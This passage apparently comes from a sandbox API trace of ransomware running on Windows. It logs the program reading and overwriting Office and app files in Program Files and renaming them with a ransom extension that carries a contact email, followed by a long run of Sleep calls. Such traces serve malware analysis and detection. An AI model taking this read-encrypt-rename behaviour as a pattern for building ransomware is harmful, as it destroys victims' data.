office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0254.639] GetProcessHeap () returned 0x630000 [0254.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0254.639] GetProcessHeap () returned 0x630000 [0254.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0254.640] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.640] ReadFile (in: hFile=0x6a0, lpBuffer=0x72a3b20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.812] GetProcessHeap () returned 0x630000 [0259.812] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0259.813] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.813] WriteFile (in: hFile=0x6a0, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.813] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.813] WriteFile (in: hFile=0x6a0, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.813] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.814] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.814] CloseHandle (hObject=0x6a0) returned 1 [0259.814] GetProcessHeap () returned 0x630000 [0259.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0259.814] GetProcessHeap () returned 0x630000 [0259.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0259.814] GetProcessHeap () returned 0x630000 [0259.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0261.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60cfe7f7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10204, dwReserved0=0xa5c7496, dwReserved1=0x72a3b18, cFileName="RIPPLE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RIPPLE~2.FIR")) returned 0x6d5040 [0261.222] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0261.223] Sleep (dwMilliseconds=0x1) [0261.235] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\176.png", len=0x7a | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\176.png") returned 1 [0261.235] GetProcessHeap () returned 0x630000 [0261.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd4) returned 0x6fe3bb0 [0261.235] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\176.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\176.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.240] Sleep (dwMilliseconds=0x1) [0261.252] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\7.jpg", len=0x7b | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\7.jpg") returned 1 [0261.252] GetProcessHeap () returned 0x630000 [0261.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd4) returned 0x6fe3bb0 [0261.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\7.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.261] Sleep (dwMilliseconds=0x1) [0262.878] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\1.jpg", len=0x7b | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\1.jpg") returned 1 [0262.878] GetProcessHeap () returned 0x630000 [0262.878] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d80) returned 0x6fe3bb0 [0262.878] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\1.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\1.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.880] Sleep (dwMilliseconds=0x1) [0263.883] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\171.png", len=0x7a | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\171.png") returned 1 [0263.883] GetProcessHeap () returned 0x630000 [0263.883] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc0) returned 0x6fe3bb0 [0263.884] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\171.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\171.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.886] Sleep (dwMilliseconds=0x1) [0264.667] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd", len=0x64 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd") returned 1 [0264.667] GetProcessHeap () returned 0x630000 [0264.667] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d10) returned 0x6fe3bb0 [0264.668] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsrtshims.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.669] Sleep (dwMilliseconds=0x1) [0266.270] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", len=0x68 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned 1 [0266.270] GetProcessHeap () returned 0x630000 [0266.270] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc0) returned 0x6fe3bb0 [0266.270] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.271] Sleep (dwMilliseconds=0x1) [0268.287] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF", len=0x45 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF") returned 1 [0268.287] GetProcessHeap () returned 0x630000 [0268.287] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b58) returned 0x6fe3bb0 [0268.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccm____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0270.404] CloseHandle (hObject=0x4d4) returned 1 [0270.404] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0270.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccm____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccm____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0270.408] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e2fdc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x104f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TCCM____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCCM__~1.FIR")) returned 0x6d4e40 [0270.408] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0270.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccm____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0270.409] GetProcessHeap () returned 0x630000 [0270.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75d68a8 [0270.409] GetProcessHeap () returned 0x630000 [0270.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75e1cd8 [0270.410] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.410] ReadFile (in: hFile=0x4d4, lpBuffer=0x75d68a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x75d68a8*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 69 os_tid = 0x1298 [0067.528] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.277] Sleep (dwMilliseconds=0x1) [0068.401] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.199] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.377] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.920] Sleep (dwMilliseconds=0x1) [0070.145] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.875] Sleep (dwMilliseconds=0x1) [0071.563] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.412] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.953] Sleep (dwMilliseconds=0x1) [0073.101] Sleep (dwMilliseconds=0x1) [0073.606] Sleep (dwMilliseconds=0x1) [0073.777] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.061] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.381] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.064] Sleep (dwMilliseconds=0x1) [0075.102] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.510] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.834] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.921] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.069] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.906] Sleep (dwMilliseconds=0x1) [0077.964] Sleep (dwMilliseconds=0x1) [0077.976] Sleep (dwMilliseconds=0x1) [0078.001] Sleep (dwMilliseconds=0x1) [0078.085] Sleep (dwMilliseconds=0x1) [0078.118] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.513] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.557] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.607] Sleep (dwMilliseconds=0x1) [0078.630] Sleep (dwMilliseconds=0x1) [0078.642] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.894] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.347] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.387] Sleep (dwMilliseconds=0x1) [0079.419] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.513] Sleep (dwMilliseconds=0x1) [0079.545] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.661] Sleep (dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.690] Sleep (dwMilliseconds=0x1) [0079.738] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.138] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.267] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.341] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.549] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.584] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.659] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.789] Sleep (dwMilliseconds=0x1) [0080.803] Sleep (dwMilliseconds=0x1) [0080.821] Sleep (dwMilliseconds=0x1) [0080.834] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.895] Sleep (dwMilliseconds=0x1) [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.961] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.993] Sleep (dwMilliseconds=0x1) [0081.001] Sleep (dwMilliseconds=0x1) [0081.030] Sleep (dwMilliseconds=0x1) [0081.052] Sleep (dwMilliseconds=0x1) [0081.283] Sleep (dwMilliseconds=0x1) [0081.435] Sleep (dwMilliseconds=0x1) [0081.529] Sleep (dwMilliseconds=0x1) [0081.553] Sleep (dwMilliseconds=0x1) [0081.568] Sleep (dwMilliseconds=0x1) [0081.578] Sleep (dwMilliseconds=0x1) [0081.603] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.632] Sleep (dwMilliseconds=0x1) [0081.661] Sleep (dwMilliseconds=0x1) [0081.689] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.914] Sleep (dwMilliseconds=0x1) [0081.923] Sleep (dwMilliseconds=0x1) [0081.948] Sleep (dwMilliseconds=0x1) [0081.963] Sleep (dwMilliseconds=0x1) [0081.974] Sleep (dwMilliseconds=0x1) [0081.983] Sleep (dwMilliseconds=0x1) [0082.007] Sleep (dwMilliseconds=0x1) [0082.032] Sleep (dwMilliseconds=0x1) [0082.054] Sleep (dwMilliseconds=0x1) [0082.064] Sleep (dwMilliseconds=0x1) [0082.116] Sleep (dwMilliseconds=0x1) [0082.128] Sleep (dwMilliseconds=0x1) [0082.156] Sleep (dwMilliseconds=0x1) [0082.195] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.294] Sleep (dwMilliseconds=0x1) [0082.309] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.418] Sleep (dwMilliseconds=0x1) [0082.540] Sleep (dwMilliseconds=0x1) [0082.588] Sleep (dwMilliseconds=0x1) [0082.636] Sleep (dwMilliseconds=0x1) [0082.683] Sleep (dwMilliseconds=0x1) [0082.728] Sleep (dwMilliseconds=0x1) [0082.776] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.870] Sleep (dwMilliseconds=0x1) [0082.916] Sleep (dwMilliseconds=0x1) [0082.968] Sleep (dwMilliseconds=0x1) [0083.015] Sleep (dwMilliseconds=0x1) [0083.055] Sleep (dwMilliseconds=0x1) [0083.103] Sleep 